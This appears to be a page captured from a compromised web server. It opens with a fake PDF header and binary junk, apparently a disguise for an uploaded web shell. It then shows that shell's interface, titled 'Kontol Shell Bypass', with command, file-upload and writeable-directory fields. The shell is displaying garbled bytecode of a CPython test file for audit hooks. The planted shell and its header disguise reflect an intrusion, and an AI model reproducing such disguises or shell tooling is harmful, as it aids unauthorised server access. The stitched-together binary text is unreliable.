%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_audit.cpython-39.opt-1.pyc
a

�_g/�@svdZddlZddlZddlZddlmZeed�r<eed�sFe�d��e�d�Z	Gdd	�d	ej
�Zed
krre�
�dS)z)Tests for sys.audit and sys.addaudithook
�N)�support�addaudithook�auditz.test only relevant when sys.audit is availablezaudit-tests.pyc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS) �	AuditTestcGs�tjtjdtg|�dtjtjd��L}|��tj�|j�tj	�|j	�|j
r`|�d�|j	��Wd�n1st0YdS)N�-X utf8�utf-8��encoding�stdout�stderr�)
�
subprocess�Popen�sys�
executable�AUDIT_TESTS_PY�PIPE�waitr
�
writelinesr�
returncode�fail�join)�self�args�p�r�./vddos/python/lib/python3.9/test/test_audit.py�do_tests�zAuditTest.do_testcGs�g}tjtjdtg|�dtjtjd��F}|��tj�|j�|j	dd�|j
D�d�|j�fWd�S1sr0YdS)NrrrcSsg|]}|���d��qS)� )�strip�	partition)�.0�linerrr�
<listcomp>)�z(AuditTest.run_python.<locals>.<listcomp>r)r
rrrrrrrrrr
r)rr�eventsrrrr�
run_pythons�
�zAuditTest.run_pythoncCs|�d�dS)N�
test_basic�r�rrrrr'-szAuditTest.test_basiccCs|�d�dS)N�test_block_add_hookr(r)rrrr*0szAuditTest.test_block_add_hookcCs|�d�dS)N�!test_block_add_hook_baseexceptionr(r)rrrr+3sz+AuditTest.test_block_add_hook_baseexceptioncCst�d�|�d�dS)N�pickle�test_pickle)r�
import_modulerr)rrrr-6s
zAuditTest.test_picklecCs|�d�dS)N�test_monkeypatchr(r)rrrr/;szAuditTest.test_monkeypatchcCs|�dtj�dS)N�	test_open)rrZTESTFNr)rrrr0>szAuditTest.test_opencCs|�d�dS)N�
test_cantracer(r)rrrr1AszAuditTest.test_cantracecCs|�d�dS)N�	test_mmapr(r)rrrr2DszAuditTest.test_mmapcCs6|�d�\}}}|s$|�d|���|�dg|�dS)N�test_excepthookzExpected fatal exception
)zsys.excepthookrzRuntimeError('fatal-error'))r&r�assertSequenceEqual�rrr%rrrrr3Gs�zAuditTest.test_excepthookcCsJ|�d�\}}}|r|�|�|�|ddd�|�|ddd�dS)N�test_unraisablehookrzsys.unraisablehook�zDRuntimeError('nonfatal-error') Exception ignored for audit hook test)r&r�assertEqualr5rrrr6Ps

�zAuditTest.test_unraisablehookcCs�t�d�|�d�\}}}|r(|�|�|�|ddd�|�|ddd�|dd}|�|�|�dd	|�d
�g|d�|�dd	|�d�g|d�|�d
d	|g|d�dS)N�winreg�test_winregrzwinreg.OpenKey�zwinreg.OpenKey/resultr7zwinreg.EnumKeyrz 0z 10000�zwinreg.PyHKEY.Detach�)rr.r&rr8�
assertTruer4)rrr%rZexpectedrrrr:[s


zAuditTest.test_winregcCs�t�d�|�d�\}}}|r(|�|�tjr<t|ddi�|�|ddd�|�|ddd�|�|d	dd
�|�|d	d	�d��dS)N�socket�test_socket�sep�
rzsocket.gethostnamer;zsocket.__new__r7zsocket.bindz('127.0.0.1', 8080))	rr.r&r�verbose�printr8r>�endswithr5rrrr@is

zAuditTest.test_socketcCsP|�d�\}}}|r|�|�tjr2t|ddi�|�dd�|D�gd��dS)N�test_gcrArBcSsg|]}|d�qS)rr)r!�eventrrrr#~r$z%AuditTest.test_gc.<locals>.<listcomp>)zgc.get_objectszgc.get_referrerszgc.get_referents)r&rrrCrDr8r5rrrrFvs
�zAuditTest.test_gcN)�__name__�
__module__�__qualname__rr&r'r*r+r-r/r0r1r2r3r6r:r@rFrrrrrs
	
r�__main__)�__doc__r
rZunittest�testr�hasattrZSkipTestZfindfilerZTestCaserrH�mainrrrr�<module>s

t

Kontol Shell Bypass